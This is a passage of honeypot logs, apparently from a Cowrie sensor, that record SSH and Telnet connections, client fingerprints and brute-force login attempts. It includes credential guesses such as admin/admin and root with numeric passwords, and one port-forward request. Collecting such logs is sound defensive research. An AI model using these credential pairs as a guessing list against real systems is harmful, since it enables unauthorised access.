AAAAB3NzaC1yc2EAAAADAQABAAACAQC8yf3TjWgb7RFWuKDmK9SVuEqPBaLbjaJuuYO5hm0us5H7cB4sOgHqIryd2EfRhCjA/INmMz+UqaIyn+0+ZhOg/VGttlaBjL11UMpXZtXuE4uAniF5qit6oC1AJYiiR8HckydOAdtOo/7fxRNsU4ruINaG64ibBvoE7/NOBhyrpJm+R5QrqZHA+L+N1BkeSE/+rH033PHc9+/MRZApFkr099BL91QkuxADQAzZQIxFVs/7gnEI4Mi8jubUpf6V1TncHMhIVvJXrFWs4VgDa8dYY3MGNk3/MoIgX1qWxRqOFi2A3PEMWbDogMjHEvSrn14d6uXpQvQ+vqstN6wT01MtBeEMNVeVBs0RkX7EvD3hm2nMoE7hBs3JY1Or5PQ6ySS+Ko2u2CCvGHjJPzG/Og6p+wpQoJlgaGL51p/+3NUHiMqLlAV8Z8mu4jH1ogKd6PjiBLwCIfJg6jWTD+eoTbuBoV0Zywo/12w2oWgwN/Hdjv9/dRjfKhw1ychwOgjBSUfGs1lJ7PznidywICPVFD7NSBXZXw85t1qQg5FLnDYTOl+QmAtEh4jdQW93m0sGfjSTHy4ojK2v5TvCKW2dgXEVTPMPUzpU4Yz0Yhs61LhzWT5YyqNsY3MFuHtDYxpFKba3xG/S6YB54p52gx/Zf7k8rXNGOPlxWDQZvXPlpbSR7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.577152Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.633383Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36452,"dst_ip":"10.17.0.5","dst_port":23,"session":"76b58ef9c745","protocol":"telnet","message":"New connection: 152.42.224.71:36452 (10.17.0.5:23) [session: 76b58ef9c745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:29.152440Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":16751,"dst_ip":"159.203.135.109","dst_port":22,"session":"072a0246556a","protocol":"ssh","message":"New connection: 79.127.181.44:16751 (159.203.135.109:22) [session: 072a0246556a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:40.269386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:40.474070Z","src_ip":"79.127.181.44","session":"072a0246556a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:40.673734Z","src_ip":"79.127.181.44","session":"072a0246556a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:40.679607Z","src_ip":"79.127.181.44","session":"072a0246556a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.574121713638306,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:41.726460Z","src_ip":"152.42.224.71","session":"76b58ef9c745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14514,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9f1e16ddb9d","protocol":"ssh","message":"New connection: 87.251.64.176:14514 (10.17.0.5:22) [session: c9f1e16ddb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:42.004094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:42.009971Z","src_ip":"87.251.64.176","session":"c9f1e16ddb9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:42.106797Z","src_ip":"87.251.64.176","session":"c9f1e16ddb9d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:42.397307Z","src_ip":"87.251.64.176","session":"c9f1e16ddb9d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:42.499392Z","session":"c9f1e16ddb9d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:42.597804Z","src_ip":"87.251.64.176","session":"c9f1e16ddb9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:42.697198Z","src_ip":"87.251.64.176","session":"c9f1e16ddb9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":40840,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9434fc7fc66","protocol":"ssh","message":"New connection: 124.156.196.131:40840 (159.203.135.109:22) [session: f9434fc7fc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:55.654836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:55.660766Z","src_ip":"124.156.196.131","session":"f9434fc7fc66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:55.907384Z","src_ip":"124.156.196.131","session":"f9434fc7fc66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel123","message":"login attempt [daniel/daniel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:56.921794Z","src_ip":"124.156.196.131","session":"f9434fc7fc66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:58.170124Z","src_ip":"124.156.196.131","session":"f9434fc7fc66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":59332,"dst_ip":"159.203.135.109","dst_port":22,"session":"7727e6b883e4","protocol":"ssh","message":"New connection: 43.163.95.54:59332 (159.203.135.109:22) [session: 7727e6b883e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:00.150862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:00.156452Z","src_ip":"43.163.95.54","session":"7727e6b883e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:00.401455Z","src_ip":"43.163.95.54","session":"7727e6b883e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578","message":"login attempt [root/124578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:01.394246Z","src_ip":"43.163.95.54","session":"7727e6b883e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:02.637357Z","src_ip":"43.163.95.54","session":"7727e6b883e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38524,"dst_ip":"10.17.0.5","dst_port":22,"session":"d56ffacfcbbd","protocol":"ssh","message":"New connection: 80.94.92.184:38524 (10.17.0.5:22) [session: d56ffacfcbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:03.014015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:03.154629Z","src_ip":"80.94.92.184","session":"d56ffacfcbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:03.158162Z","src_ip":"80.94.92.184","session":"d56ffacfcbbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:04.139608Z","src_ip":"80.94.92.184","session":"d56ffacfcbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":42624,"dst_ip":"10.17.0.5","dst_port":22,"session":"c94cbc57bfe4","protocol":"ssh","message":"New connection: 62.133.63.178:42624 (10.17.0.5:22) [session: c94cbc57bfe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:04.487197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:04.491805Z","src_ip":"62.133.63.178","session":"c94cbc57bfe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:04.611736Z","src_ip":"62.133.63.178","session":"c94cbc57bfe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31415926","message":"login attempt [root/31415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:04.974822Z","src_ip":"62.133.63.178","session":"c94cbc57bfe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:05.354383Z","src_ip":"80.94.92.184","session":"d56ffacfcbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":51886,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e8c19d9ae1a","protocol":"ssh","message":"New connection: 80.66.85.226:51886 (10.17.0.5:22) [session: 1e8c19d9ae1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:05.505005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:05.510584Z","src_ip":"80.66.85.226","session":"1e8c19d9ae1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:05.600947Z","src_ip":"80.66.85.226","session":"1e8c19d9ae1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"128500","message":"login attempt [root/128500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:05.869701Z","src_ip":"80.66.85.226","session":"1e8c19d9ae1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:06.097451Z","src_ip":"62.133.63.178","session":"c94cbc57bfe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:06.961780Z","src_ip":"80.66.85.226","session":"1e8c19d9ae1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00246334075928,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:13.702832Z","src_ip":"152.42.224.71","session":"baa7a550147b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":39006,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e9ef0de9d39","protocol":"ssh","message":"New connection: 103.173.227.57:39006 (10.17.0.5:22) [session: 4e9ef0de9d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:17.204548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:17.209429Z","src_ip":"103.173.227.57","session":"4e9ef0de9d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"